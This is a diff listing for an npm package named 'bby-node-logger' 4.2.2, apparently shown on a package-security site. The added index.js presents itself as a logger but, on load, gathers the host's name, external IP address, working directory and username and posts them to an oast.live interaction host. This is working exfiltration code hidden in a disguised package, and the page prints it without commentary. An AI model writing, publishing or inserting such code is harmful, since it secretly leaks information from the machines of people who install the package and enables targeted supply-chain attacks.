bby-node-logger 4.2.2
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +68 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const http = require('http');
|
3
|
+
const querystring = require('querystring');
|
4
|
+
|
5
|
+
// Function to get the IP address
|
6
|
+
const getIPAddress = () => {
|
7
|
+
const interfaces = os.networkInterfaces();
|
8
|
+
for (const interfaceName in interfaces) {
|
9
|
+
const iface = interfaces[interfaceName];
|
10
|
+
for (const alias of iface) {
|
11
|
+
if (alias.family === 'IPv4' && !alias.internal) {
|
12
|
+
return alias.address;
|
13
|
+
}
|
14
|
+
}
|
15
|
+
}
|
16
|
+
return '0.0.0.0';
|
17
|
+
};
|
18
|
+
|
19
|
+
// Collect system information
|
20
|
+
const hostname = os.hostname();
|
21
|
+
const ipAddress = getIPAddress();
|
22
|
+
const currentWorkingDir = process.cwd();
|
23
|
+
const currentUser = os.userInfo().username;
|
24
|
+
|
25
|
+
// Data to be sent in the POST request
|
26
|
+
const data = querystring.stringify({
|
27
|
+
hostname: hostname,
|
28
|
+
ip: ipAddress,
|
29
|
+
cwd: currentWorkingDir,
|
30
|
+
user: currentUser
|
31
|
+
});
|
32
|
+
|
33
|
+
// Options for the POST request
|
34
|
+
const options = {
|
35
|
+
hostname: 'crktv24qfhfgh6mltnsg7w3jyf5y6usrf.oast.live', // Replace with actual external server
|
36
|
+
port: 80, // Change port if using HTTPS or a custom port
|
37
|
+
path: '/endpoint', // Replace with actual path
|
38
|
+
method: 'POST',
|
39
|
+
headers: {
|
40
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
41
|
+
'Content-Length': Buffer.byteLength(data)
|
42
|
+
}
|
43
|
+
};
|
44
|
+
|
45
|
+
// Make the POST request
|
46
|
+
const req = http.request(options, (res) => {
|
47
|
+
let responseBody = '';
|
48
|
+
|
49
|
+
// Collect response data
|
50
|
+
res.on('data', (chunk) => {
|
51
|
+
responseBody += chunk;
|
52
|
+
});
|
53
|
+
|
54
|
+
// When the whole response is received
|
55
|
+
res.on('end', () => {
|
56
|
+
console.log('Response from server:', responseBody);
|
57
|
+
});
|
58
|
+
});
|
59
|
+
|
60
|
+
// Handle errors
|
61
|
+
req.on('error', (error) => {
|
62
|
+
console.error('Error sending data:', error.message);
|
63
|
+
});
|
64
|
+
|
65
|
+
// Write data to request body
|
66
|
+
req.write(data);
|
67
|
+
req.end();
|
68
|
+
|
package/package.json
ADDED